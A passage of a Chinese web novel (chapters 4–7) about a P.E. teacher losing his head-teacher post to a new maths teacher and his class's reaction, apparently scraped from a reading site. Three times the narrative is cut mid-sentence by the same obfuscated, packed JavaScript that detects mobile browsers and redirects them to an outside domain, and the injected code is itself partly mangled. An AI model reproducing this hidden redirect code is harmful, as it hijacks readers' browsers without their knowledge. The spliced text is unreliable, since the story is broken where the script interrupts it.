不过祁衍没路走,他说到底就是个体育老师,本来这年头体育老师当班主任就够稀奇了,如果不是因为祁衍把六班带得还不错,校长也不可能把班交给他这么长时间。 说到底,还是因为放假这事儿,得罪人了。 祁衍还在呼噜头发,还突然鼻腔发出了声自嘲的笑。 领导连接班人都请好了,而且看样子已经提前和燕习提前交代过了,就差他这个将要被换掉的班主任一无所知。 就是不知道燕习来之前,知不知道他要接的这个位置有人了。 燕习这也算是挑了个折中的方案,至少能缓解下办公室里紧张的气压。 “祁老师觉得怎么样?”校长问他。 祁衍能怎么样,眼前除了燕习这条路走,还能怎么?总不能直接发脾气,尥蹶子不干了,留班里那帮猴和燕习大眼瞪小眼吧,他心疼那帮猴。 不过照燕习那样干,也只是延缓无孩徒刑,没差,只不过给了猴们适应的时间。 “之后再谈吧。”祁衍应付着答应了声,直接站了起来:“走吧燕老师,一会儿开班会,带你认人。” 燕习看了祁衍一眼,似乎是在判断他的情绪状态。 祁衍没和他对眼,直接就出去了。 “祁老师人不坏的,就是说话直爽点儿,性格还是挺好的。”校长最后和燕习交代了声。 燕习轻挑了下眉,应了声,转身要出去。 这时候祁衍突然折返回来了,从桌子上捞走了自己刚刚被查封的烟和打火机,留下一句:“背后夸人,生怕别人听着啊。” 校长给他逗乐了。 祁衍转身走的时候,总感觉旁边的燕习也出了声带笑的气音,但可能是他听错了,毕竟出来的时候,这位老师的表情实在不想被他逗笑了,倒像是被他打了。 “燕老师,有事儿我就直说了。”祁衍和他并排下着楼梯,停下脚步说:“校长应该很早就联系您了吧?” 燕习也停下来脚步,语调很平:“校长聘我来的时候,没有提及班主任的事儿,合同也是在暑假之前就签好的。” 这一句解释,才让祁衍心里舒坦了点儿,要不然他还以为校长和燕习合伙玩儿他呢,不过校长这儿做的真难看。 祁衍啧了声,烦躁就写在脸上,要是燕习说的是真的,那还真怪不着人家。 “祁老师教体育的?”燕习问了他一句。 祁衍闷闷嗯了声,废话,刚才校长不让他带高三,第一条原因就是他是教体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563427|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 育的。 “教体育的老师,往往想法比较容易理解,我还是很期待之后和祁老师共事的。”燕习说。 祁衍当然不会自恋到认为燕习是在夸他,毕竟从昨晚俩人在酒吧对上脸,到今天祁衍在厕所被抓包,他不认为在燕习心里,给自己贴了什么好标签。 燕习刚才这话也是,乍一听没什么问题,实际带刺。 “学校能请来燕老师这么优秀的人才带我们班,是我们班的福气。”祁衍说:“我们班学生不太好管,随我,燕老师多担待。” 祁衍这句话说的认真,但也是带刺的,翻译一下:我们班学生我带出来的,和我处惯了,您别来沾边。 燕习眸光往他那边扫过一眼:“随祁老师的话,那是得多担待。” 祁衍笑了笑,没说什么。 祁衍走路的时候,也比较随性,手往口袋里一插,但凡把运动鞋换成老北京凉拖,路过都得被胡同口大爷叫走下棋。 反观燕习,从头到脚都写了俩字:规矩。 这幅样子,真是让人很难联想到他和酒吧那个调酒的是一个人。 到班外走廊门口,祁衍才停了步子,等了燕习一会儿,还有几分钟上自习。 祁衍靠在栏杆边,手揣在兜里,能摸着卡手心的烟,他陡然想起,在厕所,燕习伸手拿走他烟的画面。 燕习站在他旁边,单手划拉着手机,似乎在回复消息,修长的手指灵活地敲着键盘。 祁衍视线落在燕习的手指上,停了几秒。 “燕老师今晚不调酒了?” 燕习手指顿了下,又接着回消息,回复完才收起手机,抬眼看他。 祁衍手肘撑着栏杆,微微弓着身,冲锋衣的褶皱隐入他肩颈,姿势随性,身上还有未褪去的少年气。 祁衍等不到他的回答,左眼眯了下,笑了:“我不近视。” 燕习鼻梁上还架着眼镜,眼镜片下,男人的眼皮轻微抬了下。 祁衍又补了句:“也不脸盲。” 祁衍换了个姿势,这次靠着栏杆,手往后放在栏杆上说:“不过燕老师昨晚没戴眼镜,估计没看清我。” 教室窗户边隔一会儿冒个头,都是冲着燕习来的,祁衍瞪了他们几眼,才都缩了回去。 燕习还是不说话,只是看着他。 祁衍以为燕习是不太想承认酒吧老板这个身份,不就是有个马甲吗,现在的人,谁不是这边戴面具,那边唱花脸,有个马甲多平常的事儿。 燕习不乐意承认,祁衍没劲儿,也就不问了,本来他对燕习开gay吧这事儿,还挺好奇的。 祁衍看了眼时间:“进教室吧燕老师。” 祁衍站直身子,进教室的时候,路过燕习旁边。 燕习突然开口问了句:“你多少岁?” 祁衍眸光顿了一秒说:“什么?” “你。”燕习似乎很不喜欢重复问题:“年龄。” 祁衍说:“离三十临门一脚。” 燕习轻挑眉,似乎对他说的话抱有怀疑。 “骗你的。”祁衍眯眼一笑说:“十八,今年高考,要不要给我补习数学啊,燕老师。” 燕习眉心缓缓蹙起,嘴角都微乎其微绷了下。 祁衍眼睛眯得更深了。 他其实蛮喜欢逗正经人的,像隔壁班的物理老师,属他严厉,年纪也大,一般老师对他毕恭毕敬的。 祁衍自然该尊敬还是尊敬,不过嘴也是真欠,隔三差五逗人老头,老爷子每次都眉头皱成“川”字,赶他走。 5. 005 祁衍和燕习两个人一前一后进教室的时候,班里的同学直愣愣盯了他旁边的人五秒,然后喧嚷声慢慢升起。 女生的声音尤其明显。 祁衍讲台上捞了根笔,往讲桌上磕了磕:“少吵吵,身上背着状呢,教导处主任就在楼道看哪个班最吵呢,你们还想让我记一笔?” 学校屁大点儿地方,尤其是现在的学校,学校虽然不让带手机,但也没认真查,课桌里的手机都安稳躺着呢,信息传播速度也很快。 就在刚才,祁衍借给学生烟,结果被逮去校长办公室这事儿,不知道谁路过拍了张照片,已经在他们学生私人大群传遍了。 群里,一群人说祁衍是他们铁哥们儿,够意思,还有一群人在讨论照片里出现的燕习。 群里刚才还在嚷,说燕老师长得帅,想上燕老师的课,问燕老师给哪个班上课,要去偷瞄。 结果下一秒,燕习就和铁哥们儿--祁衍,进了六班。 “我先介绍一下吧。”祁衍手上笔转了一圈,放在了讲桌上:“这位是燕老师,燕习,是你们高三这一年的数学老师。” 几乎是祁衍刚说完,台下又一阵骚动,都有躲桌子底下吹口哨的了。 祁衍感觉燕习在旁边,似乎浅浅叹了口气。 燕习站在祁衍身边,比祁衍稍微高一点儿,本来祁衍的身高就已经够唬人了,现在又来了一个,往那里一站,都挡第一排的光。 “吵什么。”祁衍蹙眉,声音提高了点儿。 学生平时虽然闹腾,但都听他的,立马没了声,学生之间还互相瞄着,一脸惊喜。 祁衍转头,和燕习对视了一眼。 燕习接过了话,声音平稳说着:“各位同学好,我叫燕习,是你们新任的数学老师,之后一年希望我们相处愉快。” 说完之后,学生响起了热烈的掌声。 祁衍原本以为,燕习在这种和学生初次见面的场合,怎么也会表现的和善一点,笑一下或者表情温和一点儿,实际上屁都没有。 脸冷得像个人机。 祁衍哼笑了声说:“燕老师来,确实得热烈欢迎一下,先不说燕老师讲课怎么样,单单这张脸,也起到了眼保健操的作用。” 话音一落,学生鼓掌声更大了。 之后燕习就去了最后一排坐的空位置坐下了,祁衍开始主持班会。 按理说,开学第一堂课的班会,要按照上午学校开大会的内容,给学生交代整个学期的学习计划,包括这一年多的课余活动,还有暑假学习问题,以及安全问题等等。 祁衍看了眼上午开会的材料,往讲桌一扣,再没拿起过。 “新学期,新开始……”祁衍起的头还算不错,下一秒,转折降到谷底:“大家写作业吧。” 燕习难得眼神中透露出片刻愣神。 祁衍说话的时候,班里同学都在抬头认真听着,祁衍一说完,其他人也不觉得哪不对,反手从课桌里掏出作业开始写。 祁衍在教室里转了一圈,沿路捡了几块儿纸团,扔进垃圾桶,然后过去,拖过个椅子坐在了和燕习隔了一个座位的地方。 祁衍旁边是个小胖子。 “祁哥,你坐这儿,我都不会写作业了。”小胖子转头和祁衍小声说。 祁衍轻挑眉:“是不会写了?还是不能抄了?” 小胖子嘿嘿两声。 “你这会写吗?”祁衍捞过卷子一看:“之前买的笨鸟先飞呢?做那个。” 小胖子哦了声,有点儿犹豫从桌兜里掏卷子。 “我提前和你们蔡老师说过了。”祁衍说:“他说让你接着当笨鸟。” 小胖子原本只剩下个眼皮的眼睛,这下只剩下缝了:“啊?” “不是,他的意思是,你接着做你的笨鸟题就行。”祁衍朝他点点头。 小胖子这才转头,放心做题了。 在旁边看完了全程的燕习,表情格外复杂,然后摘了眼睛,捏了捏紧蹙的眉心。 祁衍扭头,就看见他这幅表情。 “燕老师。”祁衍叫他。 燕习闷闷嗯了声,似乎不太想理人。 “帮忙拍张照。”祁衍给他手机。 燕习那一瞬间,以为祁衍是在玩儿。 “祁老师,这里是教室,不是你用来装饰朋友圈的地方。”燕习语气这下有些冷了。 祁衍沉默了两秒,忍着没笑出声,手机转了一圈,轻声说:“您想哪去了,拍照,拍班会照,给学校交差。” 燕习表情难得出现了丝裂缝。 祁衍把手机朝他递了一下。 燕习拿过手机,重新戴上眼镜,眼底有些疲惫。 祁衍去了讲台,黑板上还大大的写了“开学第一课”几个大字,字倒是一笔一划写的,但是写着写着字就躺下了…… 燕习:…… 燕习站在教室后面,正要拍照,突然,本来在写作业的学生,一下回过了头。 燕习拿着手机僵硬了一秒。 “土豆!”祁衍在讲台突然很高叫了一声。 下一秒,学生也都齐声喊:“土豆。” 燕习:??? 学生们个个保持着八颗牙齿的标准笑容。 燕习手指一颤,摁了拍照键,放下了手。 旁边有个学生,还很热情和他解释了句:“燕老师别介意,因为祁哥不喜欢茄子,所以我们才喊土豆。” 燕习:……问题出在这儿吗? 拍完之后,学生很整齐又都坐好,做题的做题,看书的看书。 当事人从讲台上走了下来,步伐还是很吊儿郎当。 “怎么样?”祁衍小声问他。 燕习看着祁衍,很认真问了他一句:“你确定你二十九?” 祁衍没听清,侧了下耳朵:“什么?” “没什么。”燕习把手机塞回给了祁衍,转身出了教室。 祁衍这边要看两节自习课,等到八点半的时候,就陆陆续续有学生走了。 他们学校的晚自习是自愿的,当然不是自愿上或者不上,而是自愿选择上到几点,上到八点半,或者上到九点半。 祁衍是班主任就不说这个了,陪到九点半,盯着最后几个学习特努力的学生,给他们赶回家,才回了办公室,收拾东西下班。 中间祁衍翻着手机消息,看晚自习的时候,他手机一般都设置免打扰。 这时候,他才发现校群炸了。 校群嘛,是学生自己办的,祁衍当时还是伪造学生的身份偷偷进来的,进校群还要提供身份证和学生证呢。 祁衍当时混进去费了好大功夫,现在也只敢在校群里当个透明人,不太敢说话,怕学生认出来。 他进校群,主要是想了解一下学生的生活状态,还挺有意思的,有时候群里会聊一些出格的事儿,祁衍一般当看不见,一代人有一代人思想,祁衍表示理解。 但今儿这…… 校群紧跟时讯,不知道谁传了燕习的照片进来,祁衍翻了翻照片,有些今天在学校里的,还有些不是今天的,像是公众号上会贴的照片,有学生连燕习研究生时候都毕业论文都扒出来了。 他们班里也有几个小子,在班里偷偷拍了燕习照片,传群里了。 【我去?这你们六班的老师啊?】 【这也太帅了,你们六班凭什么吃这么好!】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563428|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【要是这老师从小教我数学,我也不至于现在考三十多了】 【诶嘿,我们班新来的数学老师,羡慕了吧。】 【又是祁哥又是这位燕老师,你们六班干嘛啊,全班打算考北影?】 【颠覆了我对数学老师的认知,不是应该秃瓢鸡心领标配吗?】 【这老师好会穿,他今天那套衣服是某梵希这个月初刚上的款!】 【我是六班的,我有发言权!刚才第一节晚自习,他在我们班,就坐在我后面!脸没看清吧,但香!是真的香!】 【一男老师整这么香干什么。】 发言的某位特装逼男,一出口,群里一堆女生围剿,无非就是说:你们这些屌丝能不能把袜子洗了,再来评论。 祁衍还挺喜欢看这些小孩儿说话的,就是太能说,祁衍一般这个群都开免打扰。 他手上划拉着手机,乐了好一会儿,才收起手机,没再管群里,开车回家了。 也就是在这个时候,群里有人突然说了一句:但这位新来的燕老师,是来给六班当班主任的啊。 群里的六班人一下炸了,一堆问号飞过屏幕。 【真的,我从我爸那里听来的,就今天晚上,校长找祁哥和燕老师说这个事儿了,我听说六班之后应该是燕老师带了。】 说这话的是何喇叭,学校出名的信息传播员,因为这人是教导处何主任的儿子,所以他放出的消息,十有八九是真的,平时学校放假和调休的消息,都是这位何喇叭递的消息。 群里其他班的开始活跃了,都在讨论这事儿,还有人说,祁衍下午借学生烟,被抓去校长这件事,就是燕老师举报的。 这下群里的男的开始激情飞扬了。 【操?就这人?给我祁哥记了一笔,还要给我祁哥踢走?】 一堆男的开始活跃了,都有人开骂了,就这一会儿,还给燕习起了个外号,叫小燕子。 还有犯欠的问:刚才夸小燕子的怎么不出声儿了? 回应他的是沉默。 【六班的怎么也不说话了?】 六班的已经退回本□□流了,六班从成立到现在,一直只有一个群,因为今晚的事儿,六班还单独开了没有祁衍的群。 群名:[六班是否被判无祁徒刑] 他们六班也不想瞒着祁哥干什么,但是!如果那个何喇叭说的是真的,那就是说!祁哥马上就要把他们送出去了,还瞒着他们? 他们在群里讨论,小女生甚至都开始发哭唧唧的表情包了。 【顾得猫宁:好了,都别猜了,我觉得祁哥不是这样的人,他肯定还在和那个姓燕的争夺抚养权,不方便和我们说才这样的!】 【曲蛐人:对!祁哥带我们都两年了,祁哥什么人,我们还不知道吗?】 【是不是因为放暑假这事儿啊,那个燕老师,肯定是校长请来膈应我们的。】 【我刚刚偷偷去问了马旭,他说今天下午祁哥和他在厕所,就是被燕老师给提溜到的校长那里的,但是校长和祁哥他们聊了什么就不知道了。】 【那就是说,祁哥被记的那一笔,还是因为燕老师呗。】 六班的群不说话了。 过了会儿,陆陆续续发不嘻嘻的表情包。 【顾德猫宁:讨厌燕老师。】 【曹这个世界:讨厌燕老师】 陆陆续续有人所有人都跟着发了+1 年少时期的意气来的就是这么突然,为了那点儿喜欢,崇拜,或者欣赏,很容易就被点燃了,就这一晚上,短短两个小时。 六班修改了小群名。 群名:打倒小燕子,捍卫祁家军! 6. 006 开学这一天,祁衍从早到晚都没怎么停,饭都没吃几口,回到家,发现冰箱上有他爸留的便签。 【我来附近办事,楚老师让给你拿了些吃的,按时吃饭,注意胃病,换季天凉,记得加衣。】 祁衍打开冰箱一看,满满当当全是各种抽真空的吃的,而他冰箱一层的酒,被老老实实的挡着。 祁衍无奈笑了声,这么晚了,老头和老太太估计已经睡着了。 祁衍给他们发了个消息。 【已收到,谢谢爸妈。】 祁衍是真累不行了,他最后睡觉前,处理了一下没来得及回的消息。 班主任群里莫名其妙蹦出一堆,客套又老气的打招呼消息。 祁衍点了进去,发现主任拉进来个人,那人的备注名的是:燕习(六班) 崔主任还给他私发了条消息。 祁衍点进去看,消息里说班主任这事儿,意思是要帮燕老师适应环境,之后的早晚自习,让祁衍和燕习分开来看班。 祁衍轻挑眉,整这一出还挺好,祁衍正不想早起呢,而且他猜,燕老师晚上应该也没时间看班,毕竟有副业。 祁衍打着字:我晚上,燕老师早上。 输完消息,刚要发送。 几乎是同时,手机突然又蹦出来一条消息,上面显示:“习-,请求添加您为好友。” 祁衍手指一顿,点了同意。 同意好友申请后,自动跳进了对话框,祁衍思索了几秒,正打算发个表情包,算是打声招呼。 他对燕习这个人本身是没什么偏见的,班主任这事儿,他觉得校长做事儿不周到,但不会牵扯进别人。 手机屏还停留在对话框的界面。 祁衍挑了个打招呼的表情包,刚要点发送,结果对面突然蹦出消息。 【祁老师,接政教处通知,之后六班早晚自习由我们两个一起看管,分配一下时间吧。】 祁衍躺床上,举着手机认真看着,手没拿稳,手机掉脸上了,鼻子给他猛一砸,酸得眼泪都冒出来了。 祁衍捂着鼻子,平复了一下,暗骂了好几声。 祁衍缓过鼻子的劲儿,才又拿起手机,然后他发现,自己不知道什么时候给燕习发过去了个表情包。 表情包里,祁衍在教室的讲台,很认真讲解着什么,手指着黑板上几个大字:宇宙级男模。 这个表情包是班里学生做的,他们在班群里经常发,祁衍觉得有意思就存下来了。 祁衍几乎是瞬间耳朵一针火辣辣,急着去撤回消息,发现已经过了时间撤不回来了。 “真……操了。”祁衍当老师之后,就很少说脏话了,但他今晚是真没忍住,太丢人了。 他想拿起手机解释,就看见对面的对话框,先是显示“正在输入中”然后灭了。 过了会儿,又显示“正在输入中” 又灭了。 祁衍感觉自己整个脑袋都在发火,他已经很少有尴尬的时候了,至少近几年没有。 祁衍打字输入:不好意思燕老师,我发错…… 还没等他发完,对面发过来了消息。 【燕习:我早上,你晚上。】 祁衍手指顿了下,这句话和上面那个表情包结合在一起,实在很难不让人想多。 祁衍最后都给自己气笑了,今儿这一天和电视剧一样。 【祁衍:不好意思燕老师,刚才发错消息了。】 到睡觉之前,燕习都没回复他。 算了,谁还没丢过人呢,祁衍睡之前麻痹自己,至少明天早上不用早起了。 结果第二天,祁衍忘了调闹钟,还是被叫起来了,醒都醒了,祁衍还是有点儿不放心那群猴,不知道燕习能不能看住他们。 祁衍最后强撑着起来去了学校,刚到教室门口,就看见他们班走廊外面站了两排人,齐刷刷地在外面写作业。 祁衍本来困得都睁不开眼,现在一下清醒了。 “你们杵这儿干嘛?”祁衍走了过来:“站岗呢?” 楼道里两排人,手上都还拿着卷子。 “祁哥,我就知道你得来。”曹晨一拍大腿说:“我们刚在教室写作业,那个姓燕的……” “欸。”祁衍蹙眉:“什么姓燕的?平时你们就这么叫人的?” 曹晨扁嘴,刚要说什么。 祁衍身后传来了熟悉的声音。 “祁老师。”燕习说:“我有事儿找你。” 祁衍转头,就看见燕习站在教室门口,一身白衬衫西装裤,笔挺衬身,头发都是打理过的样子。 祁衍莫名抬手看了眼时间,现在才六点半……这人得几点起床才能保持这种状态? 祁衍跟着燕习过去,刚才路过的风里,祁衍隐约还闻见了剃须泡清爽的味道。 燕习和他到楼梯口说话。 “学生说你让他们用早自习时间补假期作业?”燕习开门见山说。 祁衍才想起来这茬,昨天晚上就知道尴尬了,忘了和燕习交代。 “对。”祁衍半靠着墙,卫衣帽子还耷拉在一边:“暑假作业太多,他们没写完,我给他们三天时间补完作业,昨晚……” 祁衍说到这儿,抬眼皮瞄了燕习表情。 燕习眉心微乎其微挑了下,看着他。 “昨晚,忘了和你说了。”祁衍揉了揉后脑勺头发:“不怪学生,他们也不知道早自习换老师了,这事儿我没做好。” 燕习沉默了两秒才开口:“对于暑假作业多或者不多,我认为学生都至少应该在答允老师的时间范围内完成。” 祁衍轻哼了声,小声念叨了句:“答允哪了?那不都强制布置的吗……” 燕习不说话了。 祁衍咳嗽了声,赶快笑着打圆场:“是是是,燕老师说得对。” “作业太多写不完,可以和任课老师商量减少作业,而不是包庇他们。”燕习蹙眉看着祁衍:“祁老师以为是在为他们好,实际上会让他们形成违反承诺,随意破坏时间规则的习惯。” 祁衍之前确实没想到这点,只想着让学生高兴着把书读完,有些事儿也尽量是顺着学生来。 “我的问题,以后我会注意。”祁衍直了身说。 对方认错倒是很爽快,但改不改就是另一回事儿了。 “确实平时太惯着他们了。”祁衍摸着下巴想着:“这样是不对哈。” 燕习看了眼时间:“另外,教室里有需要背书的同学,早自习还是不占用比较好。” 说完燕习转身就离开了。 祁衍这时候才看明白,合着这些学生不是燕习叫出来罚站的,是给教室背书的学生腾空间的。 祁衍鼻腔发出声笑。 祁衍最后和走廊里的猴交代了声,让他们赶快写完作业,还替燕老师解释了句。 “班里有人要背书,谁也别影响谁。”祁衍说:“燕老师考虑得挺好的。” 曹晨蹙眉:“祁哥,你叛变了。” “说什么呢。”祁衍瞪眼,他余光瞥到燕习朝他这边看了眼,他终结了话题:“快点儿写,写不完,明儿早自习也得出来。” 说完祁衍转身就溜走了。 祁衍晃荡着下楼,去教师餐厅吃饭,和刚来的同事刚好碰了个照面,都在档口排吃的。 “祁老师今儿挺清闲。”吕老师说。 这是他们班的英语老师,是一位气质很好的女性,和祁衍年纪差不了多少,关系也不错。 “还行吧。”祁衍说。 “燕老师看的早自习?”吕老师问。 祁衍手上转着饭卡:“嗯,早自习交给他,晚自习我来。” “班主任这活儿太累人了。”吕老师说:“有人上赶着来带,你也能轻松点儿。” 祁衍笑笑不说话,当时他们六班高一的时候,祁衍刚来学校一年,新一届学生上来,老教师都不乐意干班主任,主任他们就商量着让年轻人带。 不过就算让年轻人带,也落不到祁衍头上,他一个体育老师。 结果当时出了个事儿,六班刚上任的班主任,和学生起了争执,年轻老师嘛,就气上头了,坚决不当这班主任了。 校长没办法,这位老师也不管六班了,祁衍那时候事儿少,就偶尔课间去六班转悠几圈,看学生有没有帮忙的地方。 结果就这一来一回,六班的人不知道怎么就看上他了,一群人写了匿名信给校长,让祁衍当班主任。 然后,祁衍这班主任真当上了,还一当就是两年,累是肯定累,但甜的时候,学生懂事儿,能把整个人都软化了。 “不一定。”祁衍笑着和吕老师说:“我不能临近高考关头了,让外人把自己家孩子撬了啊。” 吕老师一笑:“我猜你也舍不得,那你打算怎么着?再和校长说说?” “一会儿吃完饭就堵人去。”祁衍提起校长,气儿就往上冒:“我是真看不惯这个,要早和我说,我还有准备,等人燕老师都找上门了,瞒不下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563429|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了才告诉我要卸我班主任的位置。” “欸,旁边都老师呢,你悠着点儿。”吕老师说:“而且人燕老师才刚来,让人听了,这不说你欺负人嘛。” “谁欺负谁啊。”祁衍说话比较直,他受不了委屈:“我不是对燕老师有意见,我是看不惯校长的做法,根本不问学生乐不乐意,反正都是服务学生嘛,燕老师要做的比我好,那我没意见,但要是校长这么搞,我可闹了。” 吕老师闻言笑了好一会儿:“怎么闹?” “天天堵他,烦他。”祁衍说着笑了:“不写教案,不开会。” “听着是你能干出的事儿。”吕老师笑着说。 排到祁衍了,祁衍和档口要了俩包子和粥,拿着包子走的时候,突然又折返了回来。 “再来俩包子。”祁衍说。 十分钟后,祁老师去教室,刚好赶上学生下早自习的时间,学生都去抢饭了,窜得快。 祁衍隔着好远,就看见楼梯上的燕习,这气质太好找了,一眼扫过去就能看见。 燕习也是下楼梯的时候看见的祁衍,这人上半身卫衣,下半身运动短裤,脸长得也显小,往人群里一站,和学生一样。 “燕老师!”祁衍跑了过来。 燕习没想到祁衍是来找他的,微微挑了下眉看他。 祁衍手上拿着包子,朝他一递,笑得眼睛眯起说:“饭卡应该还没下来吧?今儿第一节就是数学课,教职工食堂那边虽然人少,但这个时间也是高峰期,给您带了俩包子,胡萝卜鸡蛋的,不知道能不能吃。” 燕习垂眼看着包子,停了好几秒,原本拿着书的右手,换了左手,右手拿走了祁衍的包子。 “谢谢。”燕习说。 祁衍笑了笑:“那我走了,您休息吧。” 说完祁衍转身就离开了,手揣在兜里,脚步还是很散漫,感觉像是在遛弯儿。 燕习拿着包子回了办公室,办公室里多了个人坐在他桌子前,翻着本桌上的书,明显等候多时了。 那人听见动静,扭头看见他,笑了:“怎么样啊燕老师,第一天还适应?” 燕习放下书,松了个衬衫口子,又抬手解着手腕处的扣子,把袖子挽了一圈。 “还行。”燕习过去打了杯水,喝了口说:“都一样。” “没之前你待那所学校好,但是这毕竟是私立,环境和生活水平包滋润的。”宋瑞嘴角含笑说。 燕习坐下,淡淡说:“无所谓。” 宋瑞这时候才发现,燕习手上提溜了俩包子,顺手放旁边桌子上了。 “欸,你买饭了?早知道我就不给你带了。”宋瑞蹙眉说,他手边还放了个保温盒,刚从食堂打包回来的粥。 燕习顿了一秒才说:“学生买的。” “啊。”宋瑞手捞过包子:“那是不好意思不收,不过……” 宋瑞看见包子皮露出来的红色,蹙眉说:“这是胡萝卜馅儿的吧,我没记错,你最讨厌吃胡萝卜了吧?” 宋瑞记得这个,主要是因为,大学的时候和燕习一个宿舍,偶尔宿舍一起吃饭,燕习每次都要提前说一遍,不要胡萝卜。 燕习那张脸长得实在不像挑食的,每次很严肃冒出这么一句,他们一帮人都憋着笑,所以宋瑞印象格外深刻。 “别问了。”燕习蹙眉说:“你拿走吧。” 燕习也不知道,自己刚才为什么要接过祁衍的包子,就是觉得,如果和祁衍解释一句自己不吃胡萝卜,想想就很奇怪。 想着燕习捏了捏紧蹙的眉心。 宋瑞也没客气,直接拿过去啃着。 “对了,祁衍没和你闹吧?”宋瑞压低了声音说:“祁衍可不是好对付的,不过校长这事儿做的也确实够让人生气,我要是祁衍我也生气。” 燕习看了眼他手上吃了一半的包子,没出声。 “说真的,你别当回事儿。”宋瑞说:“祁衍不好对付,出名儿的难搞,招可多了,性子还特立独行的,办公室里好多老师都看不惯他的做派。” 燕习轻挑眉,抬眼皮说:“你和他很熟?” “不熟啊。”宋瑞摊手说:“但这在学校人尽皆知的事儿啊。” 燕习垂眼,没再说什么。 “你有事儿和我说,办公室找不到我,就是在舞蹈室,我得走了,上午还有课呢。”宋瑞擦了擦手说。 宋瑞是学校的舞蹈老师,负责艺术类学生的教学。 燕习嗯了声:“出去带门。” 7. 007 祁衍当天上午就去找校长理论去了,到底人家是领导,祁衍还是给足尊重,心平气和的和校长说了自己的想法。 “学生都高三了,突然给他们换一个班主任,完全不同的两种带班模式,学生受不了。”祁衍坐在椅子上,对面坐着校长,他语气平静说:“我也知道自己的教育方法不规矩,但六班让我带这两年,成绩整体上升了五十多名,运动会就更别说了,连着两年都是我们班第一,我能保证高三这一年也会带好。” 校长表情凝重,在那里思考了很久才开口,无非还是那些话,让祁衍再带带燕习,等燕老师熟悉了再说。 “不行。”祁衍当时就回绝了:“别以为我不知道,你们温水煮青蛙呢。” “哎,祁老师,说实话。”校长抿了口茶说:“换班主任这事儿,有多半原因是家长的意见,很多家长和我反映,认为一个毫无经验的体育老师,没办法担当起高三班主任的责任。” 祁衍不说话了。 “燕老师是很厉害的老师,他非常有经验,带学生是完全可以放心的。”校长说:“你都把话说到这个程度了,我也挑明白点儿,燕老师当班主任这事儿,几乎是板上钉钉的事情了,我作为校长,要协商多方的意见,我也没办法祁老师。” 校长叹了口气:“其实,但凡你圆滑一点,收敛点儿自己的性格,家长会放心很多。” 祁衍鼻子发闷,刚才一直没说话,听到这儿才懒懒开口:“校长,您说这些对我没用,学生怎么带,我有自己的一套。” 校长最后也没再说什么。 祁衍从校长办公室出来,知道没有回旋的余地了,有点儿难受,手指摩挲了下,摸到了口袋的烟,又忍着抽出手。 校长最后和祁衍说,让祁衍最后再带一个月,这一个月和燕老师完成交接,顺便帮燕老师熟悉熟悉环境和学生。 祁衍听了长久没出声,然后就离开了。 他们学校有专门体育特长生的班级,里面有走统招的,有走单招的,高三一到,他们需要全新的训练计划,祁衍也一下忙了不少。 其实校长的考虑也是对的,祁衍这边还带了羽毛球专项的训练,偶尔田径专项训练需要他的时候,他也得去看着。 确实有点儿忙不过来,但就算是再没时间,祁衍去拿个资料,或者去开会,都要拐个大弯,绕路也得来班里看一眼。 祁衍这几天都是如此,他也没觉得学生有哪些反常的,每次祁衍在走廊外面盯他们,感觉学生都还挺认真。 就这么过了一个星期,燕习很会来事儿,多的不问,只是完成自己份内的事情。 祁衍自认为俩人配合的还是挺和谐的,直到有一天。 祁衍当时正在羽毛球馆,给特长生做专项训练,当陪打。 燕习突然找来,体育馆挺热,有点儿闷,祁衍在体育馆待了半下午,宽松无袖T后背都渗着汗,他原本的美式前刺额角也带着潮湿。 他刚和一个学生练完,衣服掀起擦着汗呢,就看见了球场外的燕习。 燕习还是一身白衬衣西装裤,手上还拿着书,在球场外站着,见他看过来,燕习似乎眉心微乎其微动了下。 祁衍和学生交代了声,扔了手上的拍,跑着过来了,过程中还抹了把额头上的汗。 “燕老师。”祁衍喘着气说:“来多久了?有事儿?” “刚来五分钟。”燕习挑眉说:“打扰你训练了?” “没有。”祁衍笑着说:“不耽误。” “我今天晚上,需要一节自习课讲题。”燕习说。 祁衍一听是这事儿,二话没说就答应了:“行,那得提前和学生说一声儿。” “我来通知。”燕习说。 祁衍笑了笑:“行。” 他回头看了眼球场上的学生说:“以后您找我,直接打电话,我带着手表呢,有强提醒。” 祁衍晃了晃手腕上的表。 燕习嗯了声:“你忙吧。” 祁衍额角的汗从侧脸划过下颌,滴在他锁骨凹陷处,他笑着说:“那我去了,燕老师慢走。” 晚自习,燕习没说要讲多久,祁衍晚上也没事儿,就在走廊凉快会儿,等着燕习讲完了,接他班。 他来了有一会儿了,学生也都看见了,上课间隙,还偷偷和走廊外的祁衍使眼色。 当然,最后被祁衍给瞪回去了。 